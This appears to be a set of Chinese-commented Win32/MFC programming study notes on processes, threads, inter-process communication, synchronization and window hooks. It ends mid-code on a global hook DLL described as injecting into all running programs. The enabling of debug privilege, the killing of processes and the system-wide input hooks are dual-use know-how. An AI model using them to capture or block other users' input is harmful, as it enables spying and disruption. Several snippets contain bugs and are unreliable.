#include<Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
//在DLL中执行 GetModuleHandle(NULL)返回exe可执行文件模块句柄
//GetModuleHandle(L"当前模块名字")可以获取DLL在当前文件中的模块句柄
HMODULE hMouDle = GetModuleHandle(NULL);//得到当前exe模块句柄
GetCommandLine();//获取完整的命令行参数,包含程序本身的名字
lpCmdLine;//不包含程序本身名字
//获取当前程序所在的工作目录
wchar_t path[MAX_PATH];
GetCurrentDirectory(MAX_PATH, path);
//设置当前的工作目录
//SetCurrentDirectory();
return 0;
}
void CParentDlg::OnBnClickedCreate()
{
//创建进程
//创建一个新的虚拟地址,执行可执行文件,把数据加载到地址空间里面
//第一个App的名字,第二个命令行参数,包含程序名字,第三个进程的安全属性,第四个线程安全属性描述符,第五个要不要继承父进程的环境工作目录,第六个创建标记0马上启动,第七个环境变量,第八个工作目录,
//第九个启动信息,第十个进程信息
wchar_t path[MAX_PATH] = L"notepad.exe";
for (int i = 0; i < 10; i++)
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi = { 0 };
if (FALSE == CreateProcess(NULL, path, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
MessageBox(L"创建子进程失败");
return;
}
m_handle[i] = pi.hProcess;
}
}
//关闭进程
void CParentDlg::OnBnClickedClose()
{
for (int i = 0; i < 10; i++)
{
//强制结束一个进程
TerminateProcess(m_handle[i], 0);
}
}
//打开进程
void CParentDlg::OnBnClickedOpen()
{
SHELLEXECUTEINFO seci = { sizeof(SHELLEXECUTEINFO) };
seci.lpVerb = L"open";//runas 以管理员的方式运行
seci.lpFile = L"notepad.exe";
seci.nShow = SW_SHOWNORMAL;
ShellExecuteEx(&seci);
}
BOOL CParentDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_list.InsertColumn(0, L"序号", LVCFMT_LEFT, 100);
m_list.InsertColumn(1, L"进程名", LVCFMT_LEFT, 100);
m_list.InsertColumn(2, L"PID", LVCFMT_LEFT, 100);
m_list.InsertColumn(3, L"x86", LVCFMT_LEFT, 100);
m_modulelist.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_modulelist.InsertColumn(0, L"序号", LVCFMT_LEFT, 100);
m_modulelist.InsertColumn(1, L"模块路径", LVCFMT_LEFT, 300);
//枚举进程
EnumProce();
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
//枚举进程
void CParentDlg::EnumProce()
{
addprivate();
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
BOOL b = Process32First(handle, &pe);
int n = 0;
while (b)
{
//插入序号
CString str;
str.Format(L"%d", n+1);
m_list.InsertItem(n, str);
//进程名
m_list.SetItemText(n, 1, pe.szExeFile);
//ID
str.Format(L"%d", pe.th32ProcessID);
m_list.SetItemText(n, 2, str);
//
HANDLE handle2=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
if (handle2 != NULL)
{
BOOL is64;
IsWow64Process(handle2, &is64);
m_list.SetItemText(n, 3, is64 == TRUE ? L"x86" : L"x64");
}
else{
m_list.SetItemText(n, 3, L"打开失败");
}
b=Process32Next(handle,&pe);
n++;
}
}
//显示模块
void CParentDlg::OnDblclkList1(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
m_modulelist.DeleteAllItems();
POSITION pos = m_list.GetFirstSelectedItemPosition();
int sel = m_list.GetNextSelectedItem(pos);
if (sel < 0)
{
return;
}
DWORD id = _wtoi(m_list.GetItemText(sel, 2));
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, id);
MODULEENTRY32 md = { sizeof(MODULEENTRY32) };
BOOL m = Module32First(handle, &md);
int n = 0;
while (m)
{
//插入序号
CString str;
str.Format(L"%d", n + 1);
m_modulelist.InsertItem(n, str);
//
m_modulelist.SetItemText(n, 1, md.szExePath);
m=Module32Next(handle, &md);
n++;
}
UpdateData(FALSE);
*pResult = 0;
}
//增加权限
BOOL CParentDlg::addprivate()
{
//打开进程的访问令牌
HANDLE htoken;
if (FALSE == OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
{
return FALSE;
}
//查看 特权值
LUID luid;
if (FALSE == LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
return FALSE;
}
//调整 第二个是否全部禁用
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tkp.Privileges[0].Luid = luid;
if (FALSE == AdjustTokenPrivileges(htoken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
return FALSE;
}
return TRUE;
}
//右键菜单
void CParentDlg::OnRclickList1(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
CMenu menu;
menu.CreatePopupMenu();
menu.AppendMenu(MF_STRING, IDM_CLOSE, L"结束进程");
POINT p;
GetCursorPos(&p);
menu.TrackPopupMenu(TPM_LEFTALIGN|TPM_RIGHTALIGN,p.x,p.y,this);
*pResult = 0;
}
//关闭进程
void CParentDlg::Onclose()
{
POSITION pos = m_list.GetFirstSelectedItemPosition();
int sel = m_list.GetNextSelectedItem(pos);
if (sel < 0)
{
return;
}
DWORD id = _wtoi(m_list.GetItemText(sel, 2));
HANDLE handle=OpenProcess(PROCESS_ALL_ACCESS, FALSE,id);
if (handle != FALSE)
{
TerminateProcess(handle, 0);
m_list.DeleteItem(sel);
//刷新
EnumProce();
}
//m_list.DeleteItem(sel);
}
多线程
#include<stdio.h>
#include<Windows.h>
DWORD WINAPI thread1(LPVOID lParam);
DWORD WINAPI thread2(LPVOID lParam);
int main()
{
//进程启动后,会创建一个线程:主线程
//创建一个辅助线程1
//第一个安全属性,第二个堆栈0默认,第三个入口地址,第四个传参数,第五个创建标记,第六个线程ID
DWORD threadid;
int n = 10;
CreateThread(NULL, 0, thread1, &n, 0,&threadid);
CreateThread(NULL, 0, thread2, NULL, 0, NULL);
//如果主线程结束,其他线程就会结束
int i = 0;
while (1)
{
printf("主线程%d\n", i);
i++;
}
return 0;
}
DWORD WINAPI thread1(LPVOID lParam)
{
//注意参数的生命周期
int n = *((int*)lParam);
int i = 0;
while (1)
{
printf("子线程%d\n", i);
i++;
}
return 0;
}
DWORD WINAPI thread2(LPVOID lParam)
{
int i = 0;
while (1)
{
printf("子线程2%d\n", i);
i++;
}
return 0;
}
MFC
//创建线程
void CThread1Dlg::OnBnClickedFine()
{
handle=CreateThread(NULL, 0, thread1, this, 0, NULL);
}
//线程函数
DWORD WINAPI thread1(LPVOID lParam)
{
CThread1Dlg*p = (CThread1Dlg*)lParam;
int n = 0;
while (1)
{
CString str;
str.Format(L"%d", n);
p->addEdit(str);
n++;
}
return 0;
}
void CThread1Dlg::addEdit(CString str)
{
str = str + L"\r\n";
int nlength = m_edit.GetWindowTextLength();
m_edit.SetSel(nlength, -1);
m_edit.ReplaceSel(str);
}
//暂停
void CThread1Dlg::OnBnClickedStop()
{
CString str;
GetDlgItemText(IDC_STOP, str);
if (str == L"暂停")
{
SuspendThread(handle);
SetDlgItemText(IDC_STOP, L"继续");
}
else{
ResumeThread(handle);
SetDlgItemText(IDC_STOP, L"暂停");
}
}
//结束
void CThread1Dlg::OnBnClickedFine3()
{
if (handle != NULL)
{
TerminateThread(handle,0);
//释放
CloseHandle(handle);//释放引用计数
}
}
cpp
#include<stdio.h>
#include<process.h>
void work(void *p);
int main()
{
//第一个线程函数,第二个堆栈0,第三个参数
_beginthread(work, 0, NULL);
return 0;
}
void work(void *p)
{
return ;
}
//MFC
UINT work(LPVOID lParam)
{
CThread1Dlg*p = (CThread1Dlg*)lParam;
int n = 0;
while (1)
{
CString str;
str.Format(L"%d", n);
p->addEdit(str);
n++;
}
return 0;
}
void CThread1Dlg::OnBnClickedButton1()
{
//第一个线程函数,第二个参数0,第三个优先级,第四个堆栈大小,第五个创建标记,第六个线程安全属性
m_winthread=AfxBeginThread(work, this, THREAD_PRIORITY_NORMAL, 0, NULL, NULL);
}
//暂停
void CThread1Dlg::OnBnClickedStop()
{
CString str;
GetDlgItemText(IDC_STOP, str);
if (str == L"暂停")
{
m_winthread->SuspendThread(handle);
SetDlgItemText(IDC_STOP, L"继续");
}
else{
m_winthread->ResumeThread(handle);
SetDlgItemText(IDC_STOP, L"暂停");
}
}
DWORD WINAPI Findfilework(LPVOID pDlg)
{
FINDDATA* find = (FINDDATA*)pDlg;
CFileSystemDlg*pmain = (CFileSystemDlg*)find->dlg;
wchar_t path[MAX_PATH];
wcscpy(path, find->file);
delete pDlg;
CString file = pmain->m_strfile;
pmain->Findfile(path, file);
CString str;
str.Format(L"%s已经检查完", path);
pmain->MessageBox(str);
return 0;
}
//查找
void CFileSystemDlg::OnBnClickedFind()
{
UpdateData(TRUE);
m_list.DeleteAllItems();
hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
SetEvent(hEvent);
wchar_t name[200];
DWORD lenght = GetLogicalDriveStrings(200, name);
//盘符C:\ 有四个字符
for (int i = 0; i < (lenght / 4); i++)
{
FINDDATA* find = new FINDDATA;
wcscpy(find->file, name + i * 4);
find->dlg = this;
//
CreateThread(NULL, 0, Findfilework, find, 0, NULL);
}
}
void CFileSystemDlg::Findfile(CString path, CString file)
{
//删除右边
path.TrimRight(L'\\');
//拼接
CString filepath = path + L"\\*.*";
filepath.Replace(L"\\\\", L"\\");
CFileFind finder;
BOOL bfind = finder.FindFile(filepath);
while (bfind)
{
bfind = finder.FindNextFile();
if (finder.IsDirectory() && finder.IsDots() == FALSE&&finder.IsHidden()==FALSE)
{
CString name = finder.GetFileName();
CString str = path + L"\\" + name;
filepath.Replace(L"\\\\", L"\\");
Findfile(str, file);
}
else{
if (finder.IsDots() == FALSE&&finder.IsHidden() == FALSE)
{
//想、初始化临界区
WaitForSingleObject(hEvent, INFINITE);
//得到文件名
CString name = finder.GetFileName();
if (name.Find(file) != -1)
{
//插入
g_ncount = m_list.GetItemCount();
m_list.InsertItem(g_ncount, name);
m_list.SetItemText(g_ncount, 1, path);
}
SetEvent(hEvent);
}
}
}
}
进程间通信:socket 、剪切板、socket、剪切板、管道、油槽、共享内存,消息。
剪切板:
void CClipboardDlg::OnBnClickedSend()
{
UpdateData(TRUE);
if (m_send.IsEmpty())
{
MessageBox(L"请输入要发送的剪切板数据");
return;
}
//打开剪切板
if (OpenClipboard() == FALSE)
{
CString str;
str.Format(L"打开剪切板失败%d", GetLastError());
MessageBox(str);
return;
}
//清空剪切板
EmptyClipboard();
//在全局中申请一块内存,操作系统中申请m
HGLOBAL hglobal=GlobalAlloc(GMEM_MOVEABLE, m_send.GetLength() * 2 + 2);
//加锁
wchar_t*p=(wchar_t*)GlobalLock(hglobal);
ZeroMemory(p, m_send.GetLength() * 2 + 2);
memcpy(p, m_send.GetBuffer(), m_send.GetLength() * 2 + 2);
//解锁
GlobalUnlock(hglobal);
//设置剪切板 第一个设置格式,第二个句柄
SetClipboardData(CF_UNICODETEXT, hglobal);
//关闭剪切板
CloseClipboard();
}
//读取数据
void CClipboardDlg::OnBnClickedRecv()
{
//打开剪切板
if (OpenClipboard() == FALSE)
{
CString str;
str.Format(L"打开剪切板失败%d", GetLastError());
MessageBox(str);
return;
}
//检查剪切板中是否有我们想要的数据格式
if (IsClipboardFormatAvailable(CF_UNICODETEXT))
{
HANDLE handle = GetClipboardData(CF_UNICODETEXT);
//加锁
wchar_t*p = (wchar_t*)GlobalLock(handle);
m_recv = p;
//解锁
GlobalUnlock(handle);
UpdateData(FALSE);
}
//关闭剪切板
CloseClipboard();
}
管道:
匿名管道:
MFC
void CParentProDlg::OnBnClickedStart()
{
//创建匿名管道
//安全属性
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
//第一个读取数据句柄,第二个写入数据句柄
if (FALSE == CreatePipe(&m_read, &m_write, &sa, 0))
{
MessageBox(L"创建匿名管道失败");
return;
}
TCHAR cmdline[MAX_PATH] = { 0 };
wsprintf(cmdline, L"%s", L"child.exe");
STARTUPINFO si = { 0 };
si.cb= sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = m_read;
si.hStdOutput = m_write;
si.hStdError = GetStdHandle(STD_ERROR_HANDLE);
PROCESS_INFORMATION pi;
CreateProcess(NULL, cmdline, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
}
void CParentProDlg::OnBnClickedRead()
{
wchar_t buff[100] = { 0 };
DWORD read = 0;
if (FALSE == ReadFile(m_read, buff, sizeof(buff), &read, NULL))
{
MessageBox(L"读取失败", L"child", MB_OK);
return;
}
MessageBox( buff);
}
//写入
void CParentProDlg::OnBnClickedWrite()
{
wchar_t buffer[100] = L"1> ParentPro.vcxproj -> D:\\a复习\MFC 复\\ParentPro\\Debug\\ParentPro.exe";
DWORD write = 0;
if (FALSE == WriteFile(m_write, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
{
MessageBox(L"写入失败");
return;
}
}
cpp
#include<Windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
HANDLE m_read = GetStdHandle(STD_INPUT_HANDLE);
HANDLE m_write = GetStdHandle(STD_OUTPUT_HANDLE);
wchar_t buff[100] = { 0 };
DWORD read = 0;
if (FALSE == ReadFile(m_read, buff, sizeof(buff), &read, NULL))
{
MessageBox(NULL, L"读取失败",L"child",MB_OK);
return 0;
}
MessageBox(NULL, buff, L"child", MB_OK);
//写入
wchar_t buffer[100] = L"我是子进程";
DWORD write = 0;
if (FALSE == WriteFile(m_write, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
{
MessageBox(NULL, L"写入失败" ,L"child", MB_OK);
return 0;
}
return 0;
}
命名管道
Server
//创建管道
void CServerDlg::OnBnClickedCreate()
{
//创建命名管道
m_pipe=CreateNamedPipe(L"\\\\.\\pipe\\ test", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_MESSAGE, 1, 1024, 1024, 0, NULL);
if (m_pipe == INVALID_HANDLE_VALUE)
{
MessageBox(L"创建管道失败");
return;
}
//创建事件对象
//第一个安全属性,第二个是否允许重置,第三个判断初始化有信号没有信号,第四个名字
HANDLE hEvent=CreateEvent(NULL, TRUE, FALSE, NULL);
//等待
OVERLAPPED ol = { 0 };
ol.hEvent = hEvent;
if (FALSE == ConnectNamedPipe(m_pipe, &ol))
{
if (GetLastError() != ERROR_IO_PENDING)
{
MessageBox(L"等待连接失败");
return;
}
}
if (WAIT_FAILED == WaitForSingleObject(hEvent, INFINITE))
{
MessageBox(L"等待对象失败");
CloseHandle(m_pipe);
CloseHandle(hEvent);
m_pipe = NULL;
return;
}
CloseHandle(hEvent);
}
//读取数据
void CServerDlg::OnBnClickedRead()
{
wchar_t buffer[100] = { 0 };
DWORD read = 0;
if (FALSE == ReadFile(m_pipe, buffer, sizeof(buffer), &read, NULL))
{
MessageBox(L"读取失败", L"server", MB_OK);
return ;
}
MessageBox(buffer);
}
//写入数据
void CServerDlg::OnBnClickedWrite()
{
//写入
wchar_t buffer[100] = L"我是Server";
DWORD write = 0;
if (FALSE == WriteFile(m_pipe, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
{
MessageBox( L"写入失败", L"server", MB_OK);
return ;
}
}
Client
//连接管道
void CClientDlg::OnBnClickedConnect()
{
if (FALSE == WaitNamedPipe(L"\\\\.\\pipe\\ test", NMPWAIT_WAIT_FOREVER))
{
MessageBox(L"没有可以运用的管道");
return;
}
//打开管道
m_Pipe=CreateFile(L"\\\\.\\pipe\\ test", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (m_Pipe == INVALID_HANDLE_VALUE)
{
MessageBox(L"打开管道失败");
return;
}
}
//读取数据
void CClientDlg::OnBnClickedRead()
{
wchar_t buffer[100] = { 0 };
DWORD read = 0;
if (FALSE == ReadFile(m_Pipe, buffer, sizeof(buffer), &read, NULL))
{
MessageBox(L"读取失败", L"child", MB_OK);
return ;
}
MessageBox(buffer);
}
//写入数据
void CClientDlg::OnBnClickedWrite()
{
//写入
wchar_t buffer[100] = L"我是client";
DWORD write = 0;
if (FALSE == WriteFile(m_Pipe, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
{
MessageBox(L"写入失败", L"child", MB_OK);
return ;
}
}
油槽;
Server
//创建油槽
BOOL CServerDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
m_mailslot=CreateMailslot(L"\\\\.\\mailslot\\testmailslot", 0, MAILSLOT_WAIT_FOREVER, NULL);
if (m_mailslot == INVALID_HANDLE_VALUE)
{
MessageBox(L"创建油槽失败");
return TRUE;
}
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
//读取数据
void CServerDlg::OnBnClickedRead()
{
wchar_t buff[100] = { 0 };
DWORD read = 0;
if (FALSE == ReadFile(m_mailslot, buff, sizeof(buff), &read, NULL))
{
MessageBox(L"读取失败", L"server", MB_OK);
return ;
}
MessageBox(buff);
}
Client
//写入数据
void CClientDlg::OnBnClickedWrite()
{
HANDLE m_mailslot = CreateFile(L"\\\\.\\mailslot\\testmailslot",GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (m_mailslot == INVALID_HANDLE_VALUE)
{
MessageBox(L"打开管道失败");
return;
}
wchar_t buffer[100] = L"我是client";
DWORD write = 0;
if (FALSE == WriteFile(m_mailslot, buffer, wcslen(buffer) * 2 + 1, &write, NULL))
{
MessageBox(L"写入失败", L"child", MB_OK);
return ;
}
}
共享内存:
创建共享内存
#include<Windows.h>
#include<stdio.h>
int main()
{
//创建共享内存
HANDLE hfilemap=CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 0x1000, L"filemap");
if (hfilemap == NULL)
{
printf("创建共享内存失败%d",GetLastError());
return 0;
}
//映射到当前进程地址空间
void*pfilemap=MapViewOfFile(hfilemap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
//使用共享内存
int *p = (int*)pfilemap;
p[0] = 1;
p[1] = 2;
p[2] = 3;
while (1){
}
//删除文件映射视图,取消当前进程地址的映射
UnmapViewOfFile(pfilemap);
CloseHandle(hfilemap);
return 0;
}
打开共享内存
#include<Windows.h>
#include<stdio.h>
int main()
{
//打开共享内存
HANDLE hfilemap = OpenFileMapping(FILE_MAP_WRITE, FALSE, L"filemap");
if (hfilemap == NULL) {
printf("打开共享内存失败%d", GetLastError());
return 0;
}
//映射本地内存地址空间
void *pfilemap=MapViewOfFile(hfilemap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
int *p = (int*)pfilemap;
//访问共享内存、
printf("p[0]=%d\np[1]=%d\np[2]=%d\n", p[0], p[1], p[2]);
while (1){
}
//删除文件映射视图,取消当前进程地址的映射
UnmapViewOfFile(pfilemap);
CloseHandle(hfilemap);
return 0;
}
进程同步:
临界区:
#include<stdio.h>
#include<Windows.h>
DWORD WINAPI thread1(LPVOID lParam);
DWORD WINAPI thread2(LPVOID lParam);
int g_count = 500;
CRITICAL_SECTION g_cs;
int main()
{
//创建临界区
InitializeCriticalSection(&g_cs);
CreateThread(NULL, 0, thread1, NULL, 0, NULL);
CreateThread(NULL, 0, thread2, NULL, 0, NULL);
while (1)
{
}
//释放临界区
DeleteCriticalSection(&g_cs);
return 0;
}
DWORD WINAPI thread1(LPVOID lParam)
{
while (1)
{
//进入临界区,对资源进行加锁
EnterCriticalSection(&g_cs);
Sleep(10);
if (g_count <= 0)
break;
g_count--;
printf("窗口1:%d\n", g_count);
//离开临界区
LeaveCriticalSection(&g_cs);
}
return 0;
}
DWORD WINAPI thread2(LPVOID lParam)
{
while (1)
{
//进入临界区,对资源进行加锁
EnterCriticalSection(&g_cs);
Sleep(10);
if (g_count <= 0)
break;
g_count--;
printf("窗口2:%d\n", g_count);
//离开临界区
LeaveCriticalSection(&g_cs);
}
return 0;
}
MFC
CCriticalSection g_cs;
int count = 0;
BOOL CCriticalSectionDlg::OnInitDialog(){
CDialogEx::OnInitDialog();
srand((UINT)time(NULL));
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
//线程处理函数
UINT thread1(LPVOID lParam);
UINT thread2(LPVOID lParam);
void CCriticalSectionDlg::OnBnClickedButton1(){
AfxBeginThread(thread1, this);
AfxBeginThread(thread1, this);
}
UINT thread1(LPVOID lParam)
{
CCriticalSectionDlg*p = (CCriticalSectionDlg*)lParam;
while (1)
{
int id = GetCurrentThreadId();
g_cs.Lock();
count++;
int num1 = rand()*id % 100;
int num2 = rand()*id % 100;
int y = count * 20;
g_cs.Unlock();
TCHAR str[100];
wsprintf(str, L"线程1 第%d题:%d+%d=%d", count, num1, num2, num1 + num2);
CDC*dc = p->GetDC();
dc->TextOut(10, y, str);
p->ReleaseDC(dc);
}
return 0;
}
UINT thread2(LPVOID lParam)
{
CCriticalSectionDlg*p = (CCriticalSectionDlg*)lParam;
while (1)
{
int id = GetCurrentThreadId();
g_cs.Lock();
count++;
int num1 = rand()*id % 100;
int num2 = rand()*id % 100;
int y = count * 20;
g_cs.Unlock();
TCHAR str[100];
wsprintf(str, L"线程2 第%d题:%d+%d=%d", count, num1, num2, num1 + num2);
CDC*dc = p->GetDC();
dc->TextOut(10, y, str);
p->ReleaseDC(dc);
}
return 0;
}
事件对象 (内核对象:
#include<stdio.h>
#include<Windows.h>
DWORD WINAPI thread1(LPVOID lParam);
DWORD WINAPI thread2(LPVOID lParam);
HANDLE hEvent;
int g_count = 500;
int main()
{
//创建一个事件对象
//第一个安全属性描述符,第二个是否重置信号(无信号改有信号,有信号改为无信号)TRUE 人工,FALSE 自动重置
//第三个初始化状态TRUE有信号 FALSE无信号,第四个名字
hEvent=CreateEvent(NULL, TRUE, TRUE, NULL);
设置事件对象为有信号状态
//SetEvent(hEvent);
设置无信号状态
//ResetEvent(hEvent);
CreateThread(NULL, 0, thread1, NULL, 0, NULL);
CreateThread(NULL, 0, thread2 , NULL, 0, NULL);
while (1)
{
}
return 0;
}
DWORD WINAPI thread1(LPVOID lParam)
{
while (1)
{
//如果有信号就进入
WaitForSingleObject(hEvent, INFINITE);
//设置无信号状态 如果创建事件设置不重置信号,信号进入后会自动变为无信号
ResetEvent(hEvent);
if (g_count > 0)
g_count--;
else{
break;
}
printf("窗口1:%d\n", g_count);
//设置事件对象为有信号状态
SetEvent(hEvent);
}
return 0;
}
DWORD WINAPI thread2(LPVOID lParam)
{
while (1)
{
WaitForSingleObject(hEvent, INFINITE);
设置无信号状态
ResetEvent(hEvent);
if (g_count > 0)
g_count--;
else{
break;
}
printf("窗口2:%d\n", g_count);
//设置事件对象为有信号状态
SetEvent(hEvent);
}
return 0;
}
信号量:
#include<stdio.h>
#include<Windows.h>
HANDLE g_semaphore;
int g_count = 0;
DWORD WINAPI thread(LPVOID lParam);
int main()
{
HANDLE arr[20];
//信号量 内核对象
//创建信号量
//第一个安全属性,第二个信号量初始化计数 必须大于等于0,第三个最大同时允许几个线程访问,第四个信号量对象名字
g_semaphore=CreateSemaphore(NULL, 1, 1, NULL);
if (g_semaphore == NULL)
{
printf("创建信号量失败%d", GetLastError());
return 0;
}
//创建20
for(int i = 0; i < 20;i++)
{
arr[i]=CreateThread(NULL, 0, thread, NULL, 0, NULL);
}
//等待所有线程执行完
WaitForMultipleObjects(20, arr, TRUE, INFINITE);
//释放句柄
for (int i = 0; i < 20; i++)
{
CloseHandle(arr);
}
//释放信号量句柄
CloseHandle(g_semaphore);
//增加信号量
//第一个信号量句柄,第二个要增加信号量计数,第三个要不要接受上一次的信号量计数
//ReleaseSemaphore(g_semaphore, 1, NULL);
return 0;
}
DWORD WINAPI thread(LPVOID lParam)
{
while (1)
{
//信号量计数必须大于0 ,有信号,返回后信号量-1
if (WAIT_OBJECT_0 == WaitForSingleObject(g_semaphore, INFINITE))
{
g_count++;
if (g_count < 50)
{
printf("ID:%d, %d\n", GetCurrentThreadId(), g_count);
}
else{
break;
}
}
//增加信号量
//第一个信号量句柄,第二个要增加信号量计数,第三个要不要接受上一次的信号量计数
ReleaseSemaphore(g_semaphore, 1, NULL);
}
return 0;
}
创建全局唯一标识符:
工具-创建GUID
互斥量:
#include<stdio.h>
#include<Windows.h>
HANDLE g_mutex;
int g_count = 500;
DWORD WINAPI thread1(LPVOID lParam);
DWORD WINAPI thread2(LPVOID lParam);
DWORD WINAPI thread3(LPVOID lParam);
int main()
{
HANDLE arr[3];
//创建互斥量
//第一个安全属性描述符,第二个TRUE拥有互斥量没信号 FALSE没有拥有互斥量有信号,第三个互斥量名字
g_mutex=CreateMutex(NULL, FALSE, NULL);
arr[0]=CreateThread(NULL, 0, thread1, NULL, 0, NULL);
arr[1]=CreateThread(NULL, 0, thread2, NULL, 0, NULL);
arr[2]=CreateThread(NULL, 0, thread3, NULL, 0, NULL);
WaitForMultipleObjects(3, arr, TRUE, INFINITE);
//解锁
//ReleaseMutex(g_mutex);
printf("主线程结束");
return 0;
}
DWORD WINAPI thread1(LPVOID lParam)
{
while (1)
{
WaitForSingleObject(g_mutex, INFINITE);
if (g_count > 0)
{
g_count--;
printf("窗口1:%d\n", g_count);
}
else{
break;
}
//解锁
ReleaseMutex(g_mutex);
}
return 0;
}
DWORD WINAPI thread2(LPVOID lParam)
{
while (1)
{
WaitForSingleObject(g_mutex, INFINITE);
if (g_count > 0)
{
g_count--;
printf("窗口2:%d\n", g_count);
}
else{
break;
}
//解锁
ReleaseMutex(g_mutex);
}
return 0;
}
DWORD WINAPI thread3(LPVOID lParam)
{
while (1)
{
WaitForSingleObject(g_mutex, INFINITE);
if (g_count > 0)
{
g_count--;
printf("窗口3:%d\n", g_count);
}
else{
break;
}
//解锁
ReleaseMutex(g_mutex);
}
return 0;
}
HOOK:进程内钩子:
HHOOK g_hook;
HHOOK g_keyboard;
HWND g_handle;
LRESULT CALLBACK MouseProc(int nCode,WPARAM wParam,LPARAM lParam);
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
BOOL CHookDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
//安装钩子
//第一个感兴趣的钩子类型,第二个钩子处理函数,第三个当前模块实例句柄,第四个线程ID
g_hook=SetWindowsHookEx(WH_MOUSE, MouseProc, NULL, GetCurrentThreadId());
if (g_hook == NULL)
{
CString str;
str.Format(L"安装钩子失败%d", GetLastError());
MessageBox(str);
return TRUE;
}
g_keyboard = SetWindowsHookEx(WH_MOUSE, KeyboardProc, NULL, GetCurrentThreadId());
if (g_keyboard == NULL)
{
CString str;
str.Format(L"安装钩子失败%d", GetLastError());
MessageBox(str);
return TRUE;
}
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
//第一个怎么处理钩子的行为,第二个第三个附加参数信息
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
return CallNextHookEx(g_hook,nCode,wParam,lParam);//放行,把当前的信息继续传递给下一个钩子处理函数
//return 1;//返回非0值,系统不会处理,不放行,屏蔽所有的鼠标消息
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (wParam == VK_SPACE)
{
return 1;
}
if (wParam == VK_ESCAPE || wParam == VK_RETURN)
{
//卸载两个钩子
UnhookWindowsHookEx(g_hook);
UnhookWindowsHookEx(g_keyboard);
SendMessage(g_handle, WM_CLOSE, 0, 0);
return 1;
}
else{
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
if (wParam == VK_F4 && ((lParam >> 29) & 1) == 1)
{
return 1;
}
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
全局钩子:(注入)将dll注入到所有正在运行的程序中,如果键盘钩子处理函数返回1,那么所有的正在运行程序的键盘将不再响应
导入dll,然后所有的程序消息循环都将和这个dll向关联,
dll .h
#include<Windows.h>
HHOOK g_Mousehook;
HHOOK g_Keyboardhook;
//安装钩子
extern "C" __declspec(dllexport)BOOL InstallHook();
//卸载钩子
extern "C" __declspec(dllexport)BOOL UnInstallHook();
//鼠标钩子处理函数
LRESULT CALLBACK MousePro(int nCode, WPARAM wParam, LPARAM lParam);
//键盘钩子处理函数
LRESULT CALLBACK KeyBoardPro(int nCode, WPARAM wParam, LPARAM lParam);
dll .cpp
#include"TestHook.h"
//安装钩子
BOOL InstallHook()
{
//安装鼠标钩子 第三个当前模块句柄,
g_Mousehook=SetWindowsHookEx(WH_MOUSE, MousePro, GetModuleHandle(L"TestHook"), NULL);
if (g_Mousehook == NULL)
return FALSE;
g_Keyboardhook = SetWindowsHookEx(WH_MOUSE, KeyBoardPro, GetModuleHandle(L"TestHook"), NULL);
if (g_Keyboardhook == NULL)
return FALSE;
return TRUE;
}
//卸载钩子
BOOL UnInstallHook()
{
return UnhookWindowsHookEx(g_Mousehook) && UnhookWindowsHookEx(g_Keyboardhook);
}
//鼠标钩子处理函数
LRESULT CALLBACK MousePro(int nCode, WPARAM wParam, LPARAM lParam)
{
return CallNextHookEx(g_Mousehook,nCode,wParam,lParam);
}
//键盘钩子处理函数
LRESULT CALLBACK KeyBoardPro(int nCode, WPARAM wParam, LPARAM lParam)
{
